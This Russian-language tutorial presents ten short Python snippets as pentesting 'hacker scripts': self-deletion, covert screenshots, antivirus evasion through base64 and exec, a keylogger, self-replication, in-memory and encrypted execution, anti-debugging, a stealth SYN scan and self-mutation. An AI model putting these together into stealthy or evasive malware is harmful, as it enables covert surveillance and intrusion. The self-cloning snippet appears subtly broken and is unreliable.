🕵️‍♂️🔐 10 хакерских скриптов на Python

В этой статье мы рассмотрим набор продвинутых техник, с помощью которых можно:

• Уничтожать исходный код после выполнения.
• Скрытно собирать информацию.
• Обходить антивирусы и системы мониторинга.
• Запускать код без следов в файловой системе.
• И даже защищаться от реверс-инжиниринга.

Каждый из этих скриптов имеет как этичные, так и потенциально опасные применения, поэтому важно подчеркнуть: все описанные методы должны использоваться исключительно в легальных целях, с пониманием этических норм и юридических ограничений.

Самоуничтожающиеся Python-скрипты

Такие скрипты полезны в случаях, когда нельзя оставлять исходный код после выполнения, — например, в задачах, связанных с безопасностью, конфиденциальностью или пентестингом.

🔧 Как работают самоуничтожающиеся скрипты:

• Определение собственного файла. Скрипт находит путь к своему собственному файлу с помощью переменных __file__ или sys.argv[0].
• Самоудаление. После выполнения основной задачи скрипт вызывает функцию os.remove(), чтобы удалить себя с диска.

        import os
import sys

def main():
    print("Этот скрипт самоуничтожится после выполнения.")
    # Здесь может быть основной код...
    
    # Самоуничтожение: удалить текущий файл
    try:
        os.remove(__file__)
        print("Самоуничтожение прошло успешно. Пока!")
    except Exception as e:
        print("Ошибка при самоуничтожении:", e)

if __name__ == '__main__':
    main()

    

⚠️После того, как скрипт удалит себя, его невозможно будет восстановить без резервной копии.

Незаметный захват экрана

Для пентестеров важно действовать скрытно. Один из самых полезных инструментов этичного хакера — это незаметная съемка экрана, которая позволяет получить доказательства уязвимостей, не привлекая внимания пользователя.

🔧 Как работает незаметный захват экрана:

• Создание полного скриншота. С помощью библиотек pyautogui и PIL (Pillow) можно сделать снимок всего экрана.
• Съемка определенной области. Можно указать конкретный регион экрана (например, окно или часть экрана), который нужно зафиксировать.
• Способы скрытия активности. Чтобы пользователь не заметил процесс съемки, применяются задержки и маскировка работы скрипта.

        import pyautogui
import cv2
import numpy as np

def capture_screen(region=None):
    # Сделать скриншот (если region не указан — будет весь экран)
    screenshot = pyautogui.screenshot(region=region)
    # Перевести скриншот в массив numpy
    frame = np.array(screenshot)
    # Преобразовать изображение из RGB (PIL) в BGR (OpenCV)
    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
    return frame

if __name__ == '__main__':
    # Захватить область 300x400 пикселей из верхнего левого угла
    frame = capture_screen(region=(0, 0, 300, 400))
    cv2.imshow("Stealth Capture", frame)
    cv2.waitKey(3000)  # Показать окно на 3 секунды
    cv2.destroyAllWindows()

    

⚠️Подчеркнем, что такой захват экрана не обязательно используется во вредоносных целях — он полезен в законном пентестинге, когда нужно зафиксировать, как выглядит уязвимость. В этом случае стоит получить официальное разрешение на использование захвата экрана — иначе владельцы ресурса могут посчитать это нарушением закона.

📚 Дополнительная информация:

• Руководство по захвату экрана на ThePythonCode.com
• Документация PyAutoGUI

Уклонение от антивирусов с помощью обфускации

Антивирусные программы часто используют сигнатурный анализ, то есть ищут характерные шаблоны кода, чтобы определить угрозу. Если код предсказуем, его легко обнаружить. Обфускация помогает скрыть эти шаблоны, а это позволяет обойти простые антивирусные проверки.

🔧 Основные техники обфускации:

• Кодирование строк. Вместо того чтобы хранить строки в открытом виде, их можно закодировать с помощью Base64, ROT13, или своего собственного метода.
• Генерация кода во время выполнения. Вместо того, чтобы писать важную логику напрямую, ее можно сохранить в виде текста и выполнить в нужный момент с помощью функции exec().

        import base64

# Секретный код как строка
secret_code = "print('Привет с темной стороны!')"

# Закодировать код в Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()

# Декодировать и выполнить во время работы
exec(base64.b64decode(encoded_code).decode())
    

⚠️ Важно:

• Обфускация помогает обойти простые антивирусные фильтры, особенно те, что ориентированы на сигнатуры, но не защищает от продвинутого анализа.
• В профессиональной среде подобные техники используются в пентестинге и анализе вредоносного ПО.

📚 Рекомендуемые материалы

• Техники обфускации на GitHub
• Подробное руководство по обфускации Python-кода

Скрытые кейлоггеры

Кейлоггер — это программа, которая отслеживает и записывает нажатия клавиш. В легальных целях кейлоггеры используются в пентестинге, — разумеется, только с официального разрешения.

🔧 Как работает кейлоггер:

• Отслеживание клавиш. С помощью библиотеки keyboard можно отлавливать каждое нажатие клавиши в системе.
• Сохранение или отправка данных. Информацию о захваченных клавишах можно сохранить в текстовом файле и/или отправить по сети.

        import keyboard
import time

log_file = "keylog.txt"

def on_key_event(event):
    with open(log_file, "a") as f:
        f.write(event.name + " ")

if __name__ == '__main__':
    print("Кейлоггер запущен. Нажмите ESC для остановки.")
    keyboard.on_press(on_key_event)
    keyboard.wait("esc")

    

⚠️ Важно:

• Этическое использование — обязательно. Никогда не запускайте кейлоггеры на чужом компьютере без разрешения — это незаконно и может привести к серьезным последствиям.
• В контролируемых тестах эффективность обнаружения кейлоггеров сильно различается. По данным InfoSec Write-ups, при использовании обфускации вероятность обнаружения кейлоггера антивирусами снижается до 40%.

Самокопирующийся и самовоспроизводящийся код

Самовоспроизводящийся (или клонирующийся) скрипт создает свою копию и запускает ее. Это интересная техника, которая, помимо выполнения своей главной цели, помогает лучше понять:

• Как Python работает с собственным кодом (интроспекция).
• Как управлять процессами.
• Как использовать файловый ввод/вывод.

В этических целях такой подход можно использовать, например, для резервного копирования, перезапуска, эмуляции живучести процесса, и т.д.

🔧 Как работает самокопирование:

• Извлечение исходного кода. С помощью функции inspect.getsource() скрипт может получить свой собственный код как текст.
• Создание копии файла. Полученный код записывается в новый .py-файл (например, clone_script.py).
• Запуск клона. Новый файл запускается через subprocess.Popen(), создавая новый процесс, а оригинал может, например, самоуничтожиться.

        import sys
import inspect
import os
import subprocess
import shlex

def clone_and_run():
    # Получить исходный код текущей функции (весь скрипт)
    code = inspect.getsource(inspect.currentframe())
    # Имя клона
    clone_filename = "clone_script.py"
    
    # Записать код в новый файл
    with open(clone_filename, "w") as f:
        f.write(code)
    
    # Запустить клон
    cmd = f"python {clone_filename} 1"
    subprocess.Popen(shlex.split(cmd), start_new_session=True)

    print("Клон запущен. Оригинал самоуничтожается...")
    os.remove(__file__)  # Удалить оригинал

if __name__ == '__main__':
    clone_and_run()

    

⚠️Подобные техники используются во вредоносных программах (поэтому специалистам по инфобезу важно понимать, как они работают).

Выполнение кода в оперативной памяти

Выполнение кода только в оперативной памяти, без записи на диск, позволяет свести к минимуму следы в файловой системе. Это особенно полезно в ситуациях, когда необходимо скрыть свое присутствие в системе — например, во время пентестинга.

🔧 Как это работает:

• Компиляция кода из строки. С помощью функции compile() можно преобразовать строку с Python-кодом в исполняемый объект кода.
• Выполнение напрямую из памяти. Полученный объект кода передается в exec(), и выполняется без записи на диск.
• Можно подгружать и исполнять фрагменты кода из сетевых ресурсов, зашифрованных файлов или баз данных.

        code_string = """
def greet():
    print('Привет! Этот код выполняется прямо из памяти.')

greet()
"""

compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)

    

⚠️ Вредоносное ПО применяет такие методы для обхода антивирусов.

Расшифровка кода во время выполнения

Шифрование применяется не только к передаваемым по сети данным, но и к частям кода, которые можно сохранить в зашифрованном виде и расшифровывать только во время выполнения программы. Это помогает скрыть логику и защитить интеллектуальную собственность.

🔧 Как работает этот метод:

• Шифрование кода. Используем, например, библиотеку cryptography.fernet, чтобы зашифровать строку с кодом.
• Расшифровка и выполнение во время выполнения. В нужный момент программа расшифровывает код и запускает его с помощью функции exec().

        from cryptography.fernet import Fernet

# Генерация ключа (в реальных условиях его нужно хранить безопасно!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)

# Секретный код, который мы хотим спрятать
secret_code = "print('Этот секретный код был зашифрован!')"

# Шифруем строку с кодом
encrypted_code = cipher_suite.encrypt(secret_code.encode())

# Во время выполнения: расшифровываем и выполняем
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)

    

ℹ️ При легальном применении этот метод поможет:

• Защитить интеллектуальную собственность (например, важную бизнес-логику).
• Скрыть конфиденциальные данные (во время работы с лицензиями или ключами API).
• Усложнить работу для анализаторов кода и реверс-инжиниринга.

📚 Подробнее о методе можно узнать в документации библиотеки Cryptography.

Антиотладка

Чтобы защитить скрипт от анализа или реверс-инжиниринга, можно реализовать механизм антиотладки — это метод, который позволяет обнаружить наличие отладчика и среагировать на это (например, изменить логику поведения скрипта или завершить его выполнение).

🔧 Как работает антиотладка:

• Проверка окружения. Скрипт может искать признаки отладки, например, активность sys.gettrace().
• Изменение поведения. Если отладка обнаружена, программа может завершить выполнение, или добавить задержку, либо изменить логику работы, чтобы сбить с толку анализатор.

        import sys
import time

def anti_debug():
    # Проверка: если есть отладчик, gettrace() вернет не None
    if sys.gettrace() is not None:
        print("Обнаружен отладчик! Завершаем работу для защиты.")
        time.sleep(2)
        sys.exit()  # Выход из программы

if __name__ == '__main__':
    anti_debug()
    print("Отладчик не обнаружен. Продолжаем выполнение...")

    

⚠️ Важно:

Такие методы должны использоваться этично и только в контролируемых условиях, например:

• В коммерческих приложениях для защиты лицензий.
• В системах, где важно предотвратить вмешательство в логику.

Скрытое сканирование сети

Пентестерам часто нужно сканировать сеть незаметно, чтобы не привлекать внимание систем обнаружения вторжений. Для этих целей можно написать собственный скрытый сканер на Python, который будет имитировать поведение обычных пользователей и не вызовет подозрений.

🔧 Как работает скрытое сканирование:

• Создание «легитимных» пакетов. С помощью библиотеки scapy можно создавать сетевые пакеты, которые выглядят как обычный трафик. Например, SYN-пакеты, как при стандартном подключении к серверу.
• Случайная задержка. Добавление случайных пауз между запросами делает поведение похожим на действия человека, а не машины. Это помогает обойти автоматические системы обнаружения.

        from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    # Создаем SYN-пакет (как будто хотим установить TCP-соединение)
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
    
    # Отправляем пакет и ждём ответ
    response = sr1(packet, timeout=1, verbose=0)
    
    # Проверяем: если флаг ответа — SYN-ACK (0x12), значит порт открыт
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"Порт {port} на {target_ip} — открыт.")
    else:
        print(f"Порт {port} на {target_ip} — закрыт или фильтруется.")

if __name__ == '__main__':
    target = "192.168.1.1"
    # Проверяем 5 случайных портов от 20 до 1024
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))  # случайная пауза между сканами

    

ℹ️ Скрытое сканирование используется для:

• Незаметного тестирования безопасности сети.
• Обхода IDS/IPS-систем, которые отслеживают подозрительную активность.
• Сбора информации без риска блокировки.

⚠️ Важно использовать такие сканеры только в легальных целях, например, в рамках пентестинга с разрешения владельца сети.

Автоматическая мутация

Чтобы обойти системы обнаружения, основанные на сигнатурах (антивирусы или системы мониторинга кода), можно написать скрипт, который будет изменять себя перед каждым запуском. Эта методика называется мутацией — она превращает скрипт в подвижную цель, сложную для обнаружения и анализа.

🔧 Как работает мутация:

• Изменение исходного кода. Скрипт считывает свой собственный код, вносит незначительные случайные изменения (например, меняет комментарии или имена переменных), а затем сохраняет себя обратно.
• Изменение цифрового отпечатка. Эти незначительные изменения не влияют на логику программы, но меняют сигнатуру файла (его «отпечаток»), что затрудняет его распознавание по шаблону.

        import os
import random

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # Случайно изменяем строки с комментариями
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}"

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("Скрипт успешно мутирован.")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)

    

ℹ️ Скрипты-мутанты пригодятся для:

• Избегания статического анализа — мутация помогает обойти системы, которые ищут известные шаблоны вредоносного кода.
• Динамической защиты — код будет выглядеть по-разному при каждом запуске, и это поможет справиться с попытками ручного анализа.
• Пентестинга — можно использовать для проверки того, как система реагирует на изменяющийся код.

⚠️ Важно:

Скрипты-мутанты часто используются во вредоносном ПО, но их также можно использовать этично, например:

• При тестировании антивирусов или IDS.
• Для защиты интеллектуальной собственности.
• Для создания самовосстанавливающихся скриптов в тестовых средах.

В заключение

Эксперименты с хакерскими скриптами помогут улучшить навыки программирования и понимание методов, которые используют опытные пентестеры и специалисты по безопасности. Важно помнить, что применять такие техники можно только в виртуальных машинах или в контролируемой среде при наличии соответствующего разрешения администратора системы.